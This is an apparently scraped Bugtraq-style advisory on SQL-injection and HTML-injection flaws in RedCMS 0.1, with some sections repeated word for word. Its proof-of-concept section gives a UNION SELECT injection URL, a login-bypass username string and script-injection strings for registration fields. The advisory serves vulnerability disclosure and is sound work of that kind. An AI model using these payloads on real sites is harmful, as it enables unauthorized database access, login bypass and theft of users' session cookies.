RedCMS Multiple Input Validation Vulnerabilities
BID:17336
Info
RedCMS Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 17336 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 31 2006 12:00AM |
| Updated: | Apr 17 2006 09:21PM |
| Credit: | Aliaksandr Hartsuyeu is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
redcms.co.uk RedCMS 0.1 |
| Not Vulnerable: | |
Discussion
RedCMS Multiple Input Validation Vulnerabilities
RedCMS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
The application is prone to HTML-injection and SQL-injection vulnerabilities. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Arbitrary script code may also be executed in the browser of an unsuspecting user in the context of the affected site; this may help the attacker steal cookie-based authentication credentials and launch other attacks.
RedCMS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
The application is prone to HTML-injection and SQL-injection vulnerabilities. A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Arbitrary script code may also be executed in the browser of an unsuspecting user in the context of the affected site; this may help the attacker steal cookie-based authentication credentials and launch other attacks.
Exploit / POC
RedCMS Multiple Input Validation Vulnerabilities
These issues can be exploited with a web client.
The following proof-of-concept examples are available:
http://www.example.com/redcms/profile.php? id=99'% 20union%20select% 201,2,3,4,5, 6,7,8,9,10, 11,12,13,14, 15,161,7,18, 19,20/*
URL: http://www.example.com/redcms/login.php
Username: ' or 1/*
Password: any
URL: http://www.example.com/redcms/register.php
Email: aaa'>[XSS]<aaa aaa=';
Location: aaa'>[XSS]<aaa aaa=';
Website: aaa'>[XSS]<aaa aaa=';
These issues can be exploited with a web client.
The following proof-of-concept examples are available:
http://www.example.com/redcms/profile.php? id=99'% 20union%20select% 201,2,3,4,5, 6,7,8,9,10, 11,12,13,14, 15,161,7,18, 19,20/*
URL: http://www.example.com/redcms/login.php
Username: ' or 1/*
Password: any
URL: http://www.example.com/redcms/register.php
Email: aaa'>[XSS]<aaa aaa=';
Location: aaa'>[XSS]<aaa aaa=';
Website: aaa'>[XSS]<aaa aaa=';
Solution / Fix
RedCMS Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
References
RedCMS Multiple Input Validation Vulnerabilities
References:
References: